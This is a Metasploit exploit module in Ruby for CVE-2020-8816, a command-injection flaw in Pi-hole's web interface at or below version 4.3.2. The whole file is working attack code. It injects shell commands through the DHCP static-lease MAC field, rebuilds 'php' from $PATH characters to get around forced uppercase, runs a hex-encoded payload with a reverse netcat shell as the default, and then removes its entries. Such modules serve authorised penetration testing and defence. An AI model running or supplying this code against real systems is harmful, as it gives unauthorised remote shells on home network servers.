232 lines
7.9 KiB
Ruby
232 lines
7.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Pihole
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
|
|
'Description' => %q{
|
|
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added
|
|
with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first
|
|
in the $PATH due to exploitation constraints. DHCP server is not required to be running.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'François Renaud-Philippon <nate@nate.red>' # original PoC, discovery
|
|
],
|
|
'References' => [
|
|
['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
|
|
['CVE', '2020-8816']
|
|
],
|
|
'Platform' => ['unix'],
|
|
'Privileged' => false,
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DisclosureDate' => '2020-03-28',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_netcat'
|
|
},
|
|
'Payload' => {
|
|
'BadChars' => "\x00"
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'RelatedModules' => ['exploit/linux/local/pihole_remove_commands_lpe']
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
_version, web_version, _ftl = get_versions
|
|
|
|
if web_version.nil?
|
|
print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
|
|
vprint_good("Web Interface Version Detected: #{web_version}")
|
|
return CheckCode::Appears
|
|
else
|
|
vprint_bad("Web Interface Version Detected: #{web_version}")
|
|
return CheckCode::Safe
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
print_error("#{peer} - Could not connect to the web service")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def add_static(payload, token)
|
|
# we don't use vars_post due to the need to have duplicate fields
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'tab' => 'piholedhcp'
|
|
},
|
|
'data' => [
|
|
'AddMAC=',
|
|
'AddIP=',
|
|
'AddHostname=',
|
|
"AddMAC=#{URI.encode_www_form_component(payload)}",
|
|
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
|
|
"AddHostname=#{rand_text_alphanumeric(8..12)}",
|
|
'addstatic=',
|
|
'field=DHCP',
|
|
"token=#{URI.encode_www_form_component(token)}"
|
|
].join('&')
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
if check != CheckCode::Appears
|
|
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
|
end
|
|
|
|
begin
|
|
@macs = []
|
|
# get cookie
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
|
'keep_cookies' => true
|
|
)
|
|
|
|
# check login
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'tab' => 'piholedhcp'
|
|
}
|
|
)
|
|
|
|
# check if we got hit by a login prompt
|
|
if res && res.body.include?('Sign in to start your session')
|
|
res = login(datastore['PASSWORD'])
|
|
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if res.nil?
|
|
end
|
|
|
|
token = get_token('piholedhcp')
|
|
|
|
if token.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
|
end
|
|
print_status("Using token: #{token}")
|
|
|
|
# from the excellent writeup about the vuln:
|
|
# The biggest difficulty in exploiting this vulnerability is that the user input is
|
|
# capitalized through a call to "strtoupper". Because of this, no lower case character
|
|
# can be used in the resulting injection.
|
|
|
|
# we'd like to execute something similar to this:
|
|
# aaaaaaaaaaaa&&php -r 'PAYLOAD'
|
|
# however, we need to pull p, h, and r from the system due to all input getting capitalized
|
|
# this is performed by pulling them from the $PATH which should be something like
|
|
# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
|
# first payload we send is to check that this is in the path to verify exploitation is possible
|
|
mac = rand_text_hex(12).upcase
|
|
@macs << mac
|
|
vprint_status("Validating path with MAC: #{mac}")
|
|
res = add_static("#{mac}$PATH", token)
|
|
|
|
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
|
|
env = res.body.match(/value="#{mac}(?<env>.*)">/)
|
|
if env && env[:env].starts_with?('/opt/pihole')
|
|
print_good("System env path exploitable: #{env[:env]}")
|
|
else
|
|
msg = '/opt/pihole not in path. Exploitation not possible.'
|
|
if env
|
|
msg += " Path: #{env[:env]}"
|
|
end
|
|
fail_with(Failure::UnexpectedReply, msg)
|
|
end
|
|
|
|
# once we have php -r, we then need to pass a payload. So we do this via php command
|
|
# exec on hex2bin since our payload in hex caps will still get processed and executed.
|
|
|
|
mac = rand_text_hex(12).upcase
|
|
@macs << mac
|
|
print_status("Payload MAC will be: #{mac}")
|
|
shellcode = "#{mac}&&" # mac address, arbitrary
|
|
shellcode << 'W=${PATH#/???/}&&'
|
|
shellcode << 'P=${W%%?????:*}&&'
|
|
shellcode << 'X=${PATH#/???/??}&&'
|
|
shellcode << 'H=${X%%???:*}&&'
|
|
shellcode << 'Z=${PATH#*:/??}&&'
|
|
shellcode << 'R=${Z%%/*}&&$'
|
|
shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
|
|
shellcode << '"'
|
|
shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
|
|
shellcode << '"));'
|
|
shellcode << "'&&"
|
|
|
|
vprint_status("Shellcode: #{shellcode}")
|
|
print_status('Sending Exploit')
|
|
add_static(shellcode, token)
|
|
|
|
# we don't use vars_post due to the need to have duplicate fields
|
|
ip = '192.168'
|
|
2.times { ip = "#{ip}.#{rand_text_numeric(1..2).to_i}" } # to_i removes leading zeroes
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'keep_cookies' => true,
|
|
'method' => 'POST',
|
|
'vars_get' => {
|
|
'tab' => 'piholedhcp'
|
|
},
|
|
'data' => [
|
|
'AddMAC=',
|
|
'AddIP=',
|
|
'AddHostname=',
|
|
"AddMAC=#{URI.encode_www_form_component(shellcode)}",
|
|
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
|
|
"AddHostname=#{rand_text_alphanumeric(3..8)}",
|
|
'addstatic=',
|
|
'field=DHCP',
|
|
"token=#{URI.encode_www_form_component(token)}"
|
|
].join('&')
|
|
)
|
|
|
|
# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|
|
|
|
def on_new_session(session)
|
|
super
|
|
@macs.each do |mac|
|
|
print_status("Attempting to clean #{mac} from config")
|
|
session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
|
|
end
|
|
end
|
|
end
|